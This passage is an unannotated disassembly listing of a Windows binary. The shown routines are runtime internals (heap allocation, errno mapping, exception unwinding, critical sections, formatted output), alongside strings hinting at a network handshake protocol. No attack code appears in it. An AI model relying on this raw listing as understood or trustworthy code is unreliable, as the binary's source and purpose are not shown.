[ebp+var_10], eax loc_4080D2: ; CODE XREF: sub_407F60+140j ; sub_407F60+15Dj mov eax, [ebp+var_10] mov dword_411200, eax mov eax, dword_411200 mov eax, dword_4111AC[eax*4] mov [ebp+var_18], eax test eax, eax jnz short loc_408118 mov [ebp+var_14], ebx mov [ebp+var_18], ebx mov eax, dword_411200 mov dword_4111AC[eax*4], ebx mov eax, dword_411200 cmp dword_4111FC, eax jle short loc_408121 mov eax, dword_411200 mov dword_4111FC, eax jmp short loc_408121 ; --------------------------------------------------------------------------- loc_408118: ; CODE XREF: sub_407F60+18Bj mov eax, [ebp+var_18] mov eax, [eax-8] mov [ebp+var_14], eax loc_408121: ; CODE XREF: sub_407F60+1AAj ; sub_407F60+1B6j mov eax, [ebp+var_18] mov [ebx-4], eax mov edx, [ebp+var_18] mov [edx-8], ebx mov edx, [ebp+var_14] mov [edx-4], ebx mov eax, [ebp+var_14] mov [ebx-8], eax mov eax, esi shl eax, 2 mov edx, ebx sub edx, eax mov [edx+4], esi mov [ebx], esi mov eax, dword_411200 mov dword_4111AC[eax*4], ebx jmp short loc_40815B ; --------------------------------------------------------------------------- loc_408155: ; CODE XREF: sub_407F60+20Dj inc dword_4111FC loc_40815B: ; CODE XREF: sub_407F60+1F3j mov eax, dword_4111FC cmp dword_4111AC[eax*4], 0 jnz short loc_40816F cmp eax, 7 jl short loc_408155 loc_40816F: ; CODE XREF: sub_407F60+208j mov eax, 1 jmp short loc_4081DD ; --------------------------------------------------------------------------- loc_408176: ; CODE XREF: sub_407F60+9Ej add ebx, 0FFFFFFFCh mov eax, [ebx] and eax, 7FFFFFFFh add eax, esi mov [ebp+var_4], eax mov eax, esi or eax, 80000000h mov [ebx], eax mov eax, dword_4111D0 lea eax, [eax+esi*4] mov dword_4111D0, eax mov edx, dword_4111D0 mov eax, [ebx] mov [edx-4], eax mov edx, dword_4111D0 mov eax, [ebp+var_4] or eax, 80000000h mov [edx], eax mov eax, [ebp+var_4] mov edx, dword_4111D0 mov ecx, eax shl ecx, 2 sub edx, ecx or eax, 80000000h mov [edx+4], eax lea eax, [ebx+4] push eax call sub_407480 pop ecx mov eax, 1 loc_4081DD: ; CODE XREF: sub_407F60+3Aj ; sub_407F60+214j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_407F60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4081F0 proc near ; CODE XREF: sub_408530+4Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 24h push ebx push esi push edi xor ebx, ebx mov eax, [ebp+arg_0] add eax, 3 shr eax, 2 lea esi, [eax+2] cmp esi, 4 jnb short loc_408211 mov esi, 4 loc_408211: ; CODE XREF: sub_4081F0+1Aj xor edi, edi cmp esi, dword_4111E8 ja short loc_40824D cmp esi, dword_4111E0 ja short loc_408235 mov eax, dword_4111DC cmp esi, eax setnbe al and eax, 1 mov [ebp+var_10], eax jmp short loc_408248 ; --------------------------------------------------------------------------- loc_408235: ; CODE XREF: sub_4081F0+31j mov eax, dword_4111E4 cmp esi, eax setnbe al and eax, 1 add eax, 2 mov [ebp+var_10], eax loc_408248: ; CODE XREF: sub_4081F0+43j mov eax, [ebp+var_10] jmp short loc_40827D ; --------------------------------------------------------------------------- loc_40824D: ; CODE XREF: sub_4081F0+29j cmp esi, dword_4111F0 ja short loc_40826A mov eax, dword_4111EC cmp esi, eax setnbe al and eax, 1 add eax, 4 mov [ebp+var_10], eax jmp short loc_40827D ; --------------------------------------------------------------------------- loc_40826A: ; CODE XREF: sub_4081F0+63j mov eax, dword_4111F4 cmp esi, eax setnbe al and eax, 1 add eax, 6 mov [ebp+var_10], eax loc_40827D: ; CODE XREF: sub_4081F0+5Bj ; sub_4081F0+78j mov eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, dword_4111FC cmp [ebp+var_C], eax jge short loc_4082CD mov eax, dword_4111FC mov [ebp+var_C], eax jmp short loc_4082CD ; --------------------------------------------------------------------------- loc_408297: ; CODE XREF: sub_4081F0+E5j mov eax, [ebp+var_C] lea edx, [eax+1] mov [ebp+var_C], edx mov eax, dword_4111AC[eax*4] mov ebx, eax test eax, eax jz short loc_4082CD mov eax, dword_4111D0 add eax, 0FFFFFFFCh cmp ebx, eax jnz short loc_4082BC mov ebx, [ebx-4] loc_4082BC: ; CODE XREF: sub_4081F0+C7j mov [ebp+var_4], ebx loc_4082BF: ; CODE XREF: sub_4081F0+DBj mov edi, [ebx] cmp edi, esi jnb short loc_4082CD mov ebx, [ebx-4] cmp ebx, [ebp+var_4] jnz short loc_4082BF loc_4082CD: ; CODE XREF: sub_4081F0+9Bj ; sub_4081F0+A5j ... cmp edi, esi jnb short loc_4082D7 cmp [ebp+var_C], 8 jl short loc_408297 loc_4082D7: ; CODE XREF: sub_4081F0+DFj cmp edi, esi jnb short loc_4082FD push esi call sub_407F60 pop ecx test eax, eax jz loc_408527 mov eax, dword_411200 mov [ebp+var_C], eax mov ebx, dword_4111AC[eax*4] mov edi, [ebx] jmp short loc_408306 ; --------------------------------------------------------------------------- loc_4082FD: ; CODE XREF: sub_4081F0+E9j cmp [ebp+var_C], 0 jle short loc_408306 dec [ebp+var_C] loc_408306: ; CODE XREF: sub_4081F0+10Bj ; sub_4081F0+111j mov eax, edi sub eax, esi mov [ebp+var_14], eax cmp eax, 4 jb loc_40848F mov eax, dword_4111E8 cmp [ebp+var_14], eax ja short loc_408356 mov eax, dword_4111E0 cmp [ebp+var_14], eax ja short loc_40833D mov eax, dword_4111DC cmp [ebp+var_14], eax setnbe al and eax, 1 mov [ebp+var_1C], eax jmp short loc_408351 ; --------------------------------------------------------------------------- loc_40833D: ; CODE XREF: sub_4081F0+138j mov eax, dword_4111E4 cmp [ebp+var_14], eax setnbe al and eax, 1 add eax, 2 mov [ebp+var_1C], eax loc_408351: ; CODE XREF: sub_4081F0+14Bj mov eax, [ebp+var_1C] jmp short loc_40838A ; --------------------------------------------------------------------------- loc_408356: ; CODE XREF: sub_4081F0+12Ej mov eax, dword_4111F0 cmp [ebp+var_14], eax ja short loc_408376 mov eax, dword_4111EC cmp [ebp+var_14], eax setnbe al and eax, 1 add eax, 4 mov [ebp+var_1C], eax jmp short loc_40838A ; --------------------------------------------------------------------------- loc_408376: ; CODE XREF: sub_4081F0+16Ej mov eax, dword_4111F4 cmp [ebp+var_14], eax setnbe al and eax, 1 add eax, 6 mov [ebp+var_1C], eax loc_40838A: ; CODE XREF: sub_4081F0+164j ; sub_4081F0+184j mov eax, [ebp+var_1C] mov [ebp+var_18], eax mov eax, [ebp+var_C] cmp [ebp+var_18], eax jz loc_40847C mov eax, [ebx-4] mov [ebp+var_20], eax cmp ebx, [ebp+var_20] jnz short loc_4083DE mov eax, [ebp+var_C] mov dword_4111AC[eax*4], 0 mov eax, [ebp+var_C] cmp dword_4111FC, eax jnz short loc_40840F jmp short loc_4083C8 ; --------------------------------------------------------------------------- loc_4083C2: ; CODE XREF: sub_4081F0+1EAj inc dword_4111FC loc_4083C8: ; CODE XREF: sub_4081F0+1D0j mov eax, dword_4111FC cmp dword_4111AC[eax*4], 0 jnz short loc_4083DC cmp eax, 7 jl short loc_4083C2 loc_4083DC: ; CODE XREF: sub_4081F0+1E5j jmp short loc_40840F ; --------------------------------------------------------------------------- loc_4083DE: ; CODE XREF: sub_4081F0+1B5j mov eax, [ebx-8] mov [ebp+var_24], eax mov edx, [ebp+var_24] mov eax, [ebp+var_20] mov [edx-4], eax mov edx, [ebp+var_20] mov eax, [ebp+var_24] mov [edx-8], eax mov eax, [ebp+var_C] cmp ebx, dword_4111AC[eax*4] jnz short loc_40840F mov eax, [ebp+var_C] mov edx, [ebp+var_24] mov dword_4111AC[eax*4], edx loc_40840F: ; CODE XREF: sub_4081F0+1CEj ; sub_4081F0:loc_4083DCj ... mov eax, [ebp+var_18] mov eax, dword_4111AC[eax*4] mov [ebp+var_24], eax test eax, eax jnz short loc_408445 mov [ebp+var_20], ebx mov [ebp+var_24], ebx mov eax, [ebp+var_18] mov dword_4111AC[eax*4], ebx mov eax, [ebp+var_18] cmp dword_4111FC, eax jle short loc_40844E mov eax, [ebp+var_18] mov dword_4111FC, eax jmp short loc_40844E ; --------------------------------------------------------------------------- loc_408445: ; CODE XREF: sub_4081F0+22Ej mov eax, [ebp+var_24] mov eax, [eax-8] mov [ebp+var_20], eax loc_40844E: ; CODE XREF: sub_4081F0+249j ; sub_4081F0+253j mov eax, [ebp+var_24] mov [ebx-4], eax mov edx, [ebp+var_24] mov [edx-8], ebx mov edx, [ebp+var_20] mov [edx-4], ebx mov eax, [ebp+var_20] mov [ebx-8], eax mov eax, [ebp+var_14] mov edx, eax shl edx, 2 mov ecx, ebx sub ecx, edx mov [ecx+4], eax mov [ebx], eax jmp loc_408504 ; --------------------------------------------------------------------------- loc_40847C: ; CODE XREF: sub_4081F0+1A6j mov eax, [ebp+var_14] mov edx, eax shl edx, 2 mov ecx, ebx sub ecx, edx mov [ecx+4], eax mov [ebx], eax jmp short loc_408504 ; --------------------------------------------------------------------------- loc_40848F: ; CODE XREF: sub_4081F0+120j mov eax, [ebx-4] mov [ebp+var_1C], eax cmp ebx, [ebp+var_1C] jnz short loc_4084D1 mov eax, [ebp+var_C] mov dword_4111AC[eax*4], 0 mov eax, [ebp+var_C] cmp dword_4111FC, eax jnz short loc_408502 jmp short loc_4084BB ; --------------------------------------------------------------------------- loc_4084B5: ; CODE XREF: sub_4081F0+2DDj inc dword_4111FC loc_4084BB: ; CODE XREF: sub_4081F0+2C3j mov eax, dword_4111FC cmp dword_4111AC[eax*4], 0 jnz short loc_4084CF cmp eax, 7 jl short loc_4084B5 loc_4084CF: ; CODE XREF: sub_4081F0+2D8j jmp short loc_408502 ; --------------------------------------------------------------------------- loc_4084D1: ; CODE XREF: sub_4081F0+2A8j mov eax, [ebx-8] mov [ebp+var_20], eax mov edx, [ebp+var_20] mov eax, [ebp+var_1C] mov [edx-4], eax mov edx, [ebp+var_1C] mov eax, [ebp+var_20] mov [edx-8], eax mov eax, [ebp+var_C] cmp ebx, dword_4111AC[eax*4] jnz short loc_408502 mov eax, [ebp+var_C] mov edx, [ebp+var_20] mov dword_4111AC[eax*4], edx loc_408502: ; CODE XREF: sub_4081F0+2C1j ; sub_4081F0:loc_4084CFj ... mov esi, edi loc_408504: ; CODE XREF: sub_4081F0+287j ; sub_4081F0+29Dj mov eax, edi shl eax, 2 mov edx, ebx sub edx, eax lea eax, [edx+4] mov [ebp+var_8], eax mov edx, esi or edx, 80000000h mov [eax+esi*4-4], edx mov [eax], edx mov eax, [ebp+var_8] add eax, 4 loc_408527: ; CODE XREF: sub_4081F0+F4j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4081F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408530 proc near ; CODE XREF: sub_4070D0+Dp ; sub_407CA0+Ap ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00408597 SIZE 00000038 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F8E4 push offset sub_408748 push large dword ptr fs:0 mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov [ebp+var_1C], 0 mov eax, dword_4117E4 cmp [ebp+arg_0], eax jnb short loc_408597 push 0 call sub_408AD0 pop ecx mov [ebp+var_4], 0 mov eax, [ebp+arg_0] push eax call sub_4081F0 pop ecx mov [ebp+var_1C], eax or [ebp+var_4], 0FFFFFFFFh call sub_40858E jmp short loc_408597 sub_408530 endp ; =============== S U B R O U T I N E ======================================= sub_40858E proc near ; CODE XREF: sub_408530+57p ; DATA XREF: DMN0:0040F8ECo push 0 call sub_408B50 pop ecx retn sub_40858E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408530 loc_408597: ; CODE XREF: sub_408530+35j ; sub_408530+5Cj cmp [ebp+var_1C], 0 jnz short loc_4085AA mov eax, [ebp+arg_0] push eax call sub_408980 pop ecx mov [ebp+var_1C], eax loc_4085AA: ; CODE XREF: sub_408530+6Bj cmp [ebp+var_1C], 0 jnz short loc_4085BB call sub_408730 mov dword ptr [eax], 0Ch loc_4085BB: ; CODE XREF: sub_408530+7Ej mov eax, [ebp+var_1C] pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_408530 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4085D0 proc near ; CODE XREF: sub_407CA0+7Bp ; sub_409110+80p ... arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 91h jz loc_4086A2 jg short loc_40862D cmp ebx, 50h jl short loc_4085F4 cmp ebx, 59h jg short loc_408605 jmp dword ptr aProtorecvDataS+3[ebx*4] ; --------------------------------------------------------------------------- loc_4085F4: ; CODE XREF: sub_4085D0+16j cmp ebx, 1 jl short loc_408672 cmp ebx, 43h jg short loc_408672 jmp off_40F914[ebx*4] ; --------------------------------------------------------------------------- loc_408605: ; CODE XREF: sub_4085D0+1Bj cmp ebx, 6Ch jl short loc_408672 cmp ebx, 72h jg short loc_408616 jmp dword ptr a02i02i02iIIIS+6[ebx*4] ; --------------------------------------------------------------------------- loc_408616: ; CODE XREF: sub_4085D0+3Dj cmp ebx, 80h jl short loc_408672 cmp ebx, 84h jg short loc_408672 jmp dword ptr aWinsock2_xInit+0Eh[ebx*4] ; --------------------------------------------------------------------------- loc_40862D: ; CODE XREF: sub_4085D0+11j cmp ebx, 0A4h jz short loc_4086AF cmp ebx, 0A7h jz short loc_4086A2 jg short loc_408651 cmp ebx, 9Eh jz short loc_4086A2 cmp ebx, 0A1h jz short loc_408682 jmp short loc_408672 ; --------------------------------------------------------------------------- loc_408651: ; CODE XREF: sub_4085D0+6Dj cmp ebx, 0B7h jl short loc_408672 cmp ebx, 0D7h jg short loc_408668 jmp dword ptr aHandshakeBadPa[ebx*4] ; "Handshake: bad packed (%i)\n" ; --------------------------------------------------------------------------- loc_408668: ; CODE XREF: sub_4085D0+8Fj cmp ebx, 718h jz short loc_408692 jmp short $+2 loc_408672: ; CODE XREF: sub_4085D0+27j ; sub_4085D0+2Cj ... call sub_408730 mov dword ptr [eax], 16h jmp loc_408722 ; --------------------------------------------------------------------------- loc_408682: ; CODE XREF: sub_4085D0+2Ej ; sub_4085D0+7Dj ... call sub_408730 mov dword ptr [eax], 2 jmp loc_408722 ; --------------------------------------------------------------------------- loc_408692: ; CODE XREF: sub_4085D0+2Ej ; sub_4085D0+9Ej ... call sub_408730 mov dword ptr [eax], 0Ch jmp loc_408722 ; --------------------------------------------------------------------------- loc_4086A2: ; CODE XREF: sub_4085D0+Bj ; sub_4085D0+2Ej ... call sub_408730 mov dword ptr [eax], 0Dh jmp short loc_408722 ; --------------------------------------------------------------------------- loc_4086AF: ; CODE XREF: sub_4085D0+2Ej ; sub_4085D0+63j ... call sub_408730 mov dword ptr [eax], 0Bh jmp short loc_408722 ; --------------------------------------------------------------------------- loc_4086BC: ; CODE XREF: sub_4085D0+2Ej ; sub_449A3B+2Ej ; DATA XREF: ... call sub_408730 mov dword ptr [eax], 11h jmp short loc_408722 ; --------------------------------------------------------------------------- loc_4086C9: ; CODE XREF: sub_4085D0+2Ej ; sub_449A3B+2Ej ; DATA XREF: ... call sub_408730 mov dword ptr [eax], 9 jmp short loc_408722 ; --------------------------------------------------------------------------- loc_4086D6: ; CODE XREF: sub_4085D0+2Ej ; sub_449A3B+2Ej ; DATA XREF: ... call sub_408730 mov dword ptr [eax], 0Ah jmp short loc_408722 ; --------------------------------------------------------------------------- loc_4086E3: ; CODE XREF: sub_4085D0+2Ej ; sub_449A3B+2Ej ; DATA XREF: ... call sub_408730 mov dword ptr [eax], 8 jmp short loc_408722 ; --------------------------------------------------------------------------- loc_4086F0: ; CODE XREF: sub_4085D0+2Ej ; sub_449A3B+2Ej ; DATA XREF: ... call sub_408730 mov dword ptr [eax], 18h jmp short loc_408722 ; --------------------------------------------------------------------------- loc_4086FD: ; CODE XREF: sub_4085D0+2Ej ; sub_449A3B+2Ej ; DATA XREF: ... call sub_408730 mov dword ptr [eax], 1Ch jmp short loc_408722 ; --------------------------------------------------------------------------- loc_40870A: ; CODE XREF: sub_4085D0+2Ej ; sub_449A3B+2Ej ; DATA XREF: ... call sub_408730 mov dword ptr [eax], 20h jmp short loc_408722 ; --------------------------------------------------------------------------- loc_408717: ; CODE XREF: sub_4085D0+2Ej ; sub_449A3B+2Ej ; DATA XREF: ... call sub_408730 mov dword ptr [eax], 12h loc_408722: ; CODE XREF: sub_4085D0+ADj ; sub_4085D0+BDj ... pop ebx retn sub_4085D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_408730 proc near ; CODE XREF: sub_407100+1Bp ; sub_408530+80p ... call sub_409420 add eax, 8 retn sub_408730 endp ; --------------------------------------------------------------------------- align 10h push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408748 proc near ; DATA XREF: sub_407480+Ao ; sub_407690+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz short loc_4087DD mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_408777: ; CODE XREF: sub_408748+8Cj cmp esi, 0FFFFFFFFh jz short loc_4087ED lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_4087CB push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] test eax, eax jz short loc_4087CB js short loc_4087D6 mov edi, [ebx+8] push ebx call sub_408820 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_408870 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_408919 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_4087CB: ; CODE XREF: sub_408748+3Cj ; sub_408748+4Ej mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_408777 ; --------------------------------------------------------------------------- loc_4087D6: ; CODE XREF: sub_408748+50j mov eax, 0 jmp short loc_4087F2 ; --------------------------------------------------------------------------- loc_4087DD: ; CODE XREF: sub_408748+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_408870 add esp, 8 pop ebp loc_4087ED: ; CODE XREF: sub_408748+32j mov eax, 1 loc_4087F2: ; CODE XREF: sub_408748+93j pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_408748 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_408870 add esp, 8 pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408820 proc near ; CODE XREF: sub_408748+56p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_408838 push [ebp+arg_0] call sub_40D7B0 ; RtlUnwind loc_408838: ; DATA XREF: sub_408820+Bo ; sub_449C8B+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_408820 endp ; =============== S U B R O U T I N E ======================================= sub_408840 proc near ; DATA XREF: sub_408870+Ao ; DMN0:004088E9o ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_408861 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_408861: ; CODE XREF: sub_408840+10j retn sub_408840 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_408870 proc near ; CODE XREF: sub_408748+63p ; sub_408748+9Cp ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_408840 push large dword ptr fs:0 mov large fs:0, esp loc_40888D: ; CODE XREF: sub_408870:loc_4088C8j mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_4088CA cmp esi, [esp+1Ch+arg_4] jz short loc_4088CA lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_4088C8 push 101h mov eax, [ebx+esi*4+8] call sub_408919 call dword ptr [ebx+esi*4+8] loc_4088C8: ; CODE XREF: sub_408870+44j jmp short loc_40888D ; --------------------------------------------------------------------------- loc_4088CA: ; CODE XREF: sub_408870+2Aj ; sub_408870+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_408870 endp ; --------------------------------------------------------------------------- align 10h xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_408840 jnz short locret_408902 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_408902 mov eax, 1 locret_408902: ; CODE XREF: DMN0:004088F0j ; DMN0:004088FBj retn ; --------------------------------------------------------------------------- align 10h push ebx push ecx mov ebx, offset dword_411204 jmp short loc_408923 ; =============== S U B R O U T I N E ======================================= sub_408919 proc near ; CODE XREF: sub_408748+74p ; sub_408870+4Fp push ebx push ecx mov ebx, offset dword_411204 mov ecx, [ebp+8] loc_408923: ; CODE XREF: DMN0:00408917j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_408919 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_408940 proc near ; CODE XREF: sub_407E30+36p push 0 push 1000h push 0 call dword_411DB4 ; HeapCreate mov dword_4127F4, eax test eax, eax setnz al and eax, 1 retn sub_408940 endp ; --------------------------------------------------------------------------- align 10h mov eax, dword_4127F4 push eax call dword_411DB8 ; HeapDestroy mov dword_4127F4, 0 retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_408980 proc near ; CODE XREF: sub_408530+71p arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax push 0 mov eax, dword_4127F4 push eax call dword_411DBC ; RtlAllocateHeap retn sub_408980 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+0Ch] push eax mov eax, [ebp+8] push eax push 0 mov eax, dword_4127F4 push eax call dword_411DC0 ; RtlReAllocateHeap pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4089C0 proc near ; CODE XREF: sub_407480+41p arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax push 0 mov eax, dword_4127F4 push eax call dword_411DC4 ; RtlFreeHeap retn sub_4089C0 endp ; --------------------------------------------------------------------------- align 10h push ebx push esi mov eax, [esp+0Ch] push eax push 0 mov eax, dword_4127F4 push eax call dword_411DC8 ; RtlSizeHeap mov ebx, eax cmp eax, 0FFFFFFFFh jnz short loc_408A02 xor esi, esi jmp short loc_408A04 ; --------------------------------------------------------------------------- loc_408A02: ; CODE XREF: DMN0:004089FCj mov esi, ebx loc_408A04: ; CODE XREF: DMN0:00408A00j mov eax, esi pop esi pop ebx retn ; --------------------------------------------------------------------------- align 10h mov eax, [esp+4] push eax push 0 mov eax, dword_4127F4 push eax call dword_411DCC ; HeapValidate test eax, eax setnz al and eax, 1 retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_408A30 proc near ; CODE XREF: sub_409360+1p mov eax, off_411214 push eax call dword_411CCC ; InitializeCriticalSection mov eax, off_411218 push eax call dword_411CCC ; InitializeCriticalSection mov eax, off_41121C push eax call dword_411CCC ; InitializeCriticalSection mov eax, off_411220 push eax call dword_411CCC ; InitializeCriticalSection retn sub_408A30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_408A70 proc near ; CODE XREF: DMN0:004093C0p push ebx mov ebx, 4 loc_408A76: ; CODE XREF: sub_408A70+2Aj mov eax, off_411214[ebx*4] test eax, eax jz short loc_408A96 push eax call dword_411DD0 ; RtlDeleteCriticalSection mov eax, off_411214[ebx*4] push eax call sub_407480 pop ecx loc_408A96: ; CODE XREF: sub_408A70+Fj inc ebx cmp ebx, 9 jl short loc_408A76 mov eax, off_411214 push eax call dword_411DD0 ; RtlDeleteCriticalSection mov eax, off_411218 push eax call dword_411DD0 ; RtlDeleteCriticalSection mov eax, off_41121C push eax call dword_411DD0 ; RtlDeleteCriticalSection mov eax, off_411220 push eax call dword_411DD0 ; RtlDeleteCriticalSection pop ebx retn sub_408A70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408AD0 proc near ; CODE XREF: sub_407480+4Bp ; sub_407690+28p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 4 push ebx mov ebx, [ebp+arg_0] cmp off_411214[ebx*4], 0 jnz short loc_408B35 push 18h call sub_408530 pop ecx mov [ebp+var_4], eax test eax, eax jnz short loc_408AFB push 1 call sub_409520 pop ecx loc_408AFB: ; CODE XREF: sub_408AD0+21j push 3 call sub_408AD0 pop ecx cmp off_411214[ebx*4], 0 jnz short loc_408B23 mov eax, [ebp+var_4] push eax call dword_411CCC ; InitializeCriticalSection mov eax, [ebp+var_4] mov off_411214[ebx*4], eax jmp short loc_408B2D ; --------------------------------------------------------------------------- loc_408B23: ; CODE XREF: sub_408AD0+3Bj mov eax, [ebp+var_4] push eax call sub_407480 pop ecx loc_408B2D: ; CODE XREF: sub_408AD0+51j push 3 call sub_408B50 pop ecx loc_408B35: ; CODE XREF: sub_408AD0+12j mov eax, off_411214[ebx*4] push eax call dword_411CD0 ; RtlEnterCriticalSection pop ebx mov esp, ebp pop ebp retn sub_408AD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_408B50 proc near ; CODE XREF: sub_4074EA+2p ; sub_4076EB+2p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, off_411214[eax*4] push eax call dword_411CD4 ; RtlLeaveCriticalSection retn sub_408B50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408B70 proc near ; CODE XREF: sub_407550+3Dp ; sub_4075F0+27p ... var_84 = byte ptr -84h var_50 = dword ptr -50h var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = byte ptr -40h var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = word ptr -8 var_6 = byte ptr -6 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 84h push ebx push esi push edi mov ebx, [ebp+arg_8] mov [ebp+var_48], 0 mov [ebp+var_44], 0 mov eax, [ebp+arg_0] mov [ebp+var_38], eax mov eax, [ebp+arg_4] mov [ebp+var_34], eax mov [ebp+var_10], 0 loc_408BA0: ; CODE XREF: sub_408B70+A4j ; sub_408B70+264j mov [ebp+var_4A], 0 lea eax, [ebp+var_48] push eax push 7FFFFFFFh push ebx lea eax, [ebp+var_4A] push eax call sub_409CE0 add esp, 10h mov esi, eax test eax, eax jg short loc_408BCD cmp byte ptr [ebx], 0 setnz al and eax, 1 mov esi, eax loc_408BCD: ; CODE XREF: sub_408B70+50j cmp [ebp+var_4A], 25h jnz short loc_408BDC lea eax, [esi-1] mov [ebp+var_50], eax jmp short loc_408BDF ; --------------------------------------------------------------------------- loc_408BDC: ; CODE XREF: sub_408B70+62j mov [ebp+var_50], esi loc_408BDF: ; CODE XREF: sub_408B70+6Aj mov eax, [ebp+var_50] mov edi, eax test eax, eax jle short loc_408C06 push edi push ebx mov eax, [ebp+var_34] push eax call [ebp+var_38] add esp, 0Ch mov [ebp+var_34], eax test eax, eax jnz short loc_408C03 or eax, 0FFFFFFFFh jmp loc_408DDD ; --------------------------------------------------------------------------- loc_408C03: ; CODE XREF: sub_408B70+89j add [ebp+var_10], edi loc_408C06: ; CODE XREF: sub_408B70+76j add ebx, esi cmp [ebp+var_4A], 25h jz short loc_408C1E cmp [ebp+var_4A], 0 jnz short loc_408BA0 mov eax, [ebp+var_10] jmp loc_408DDD ; --------------------------------------------------------------------------- loc_408C1E: ; CODE XREF: sub_408B70+9Dj mov [ebp+var_18], 0 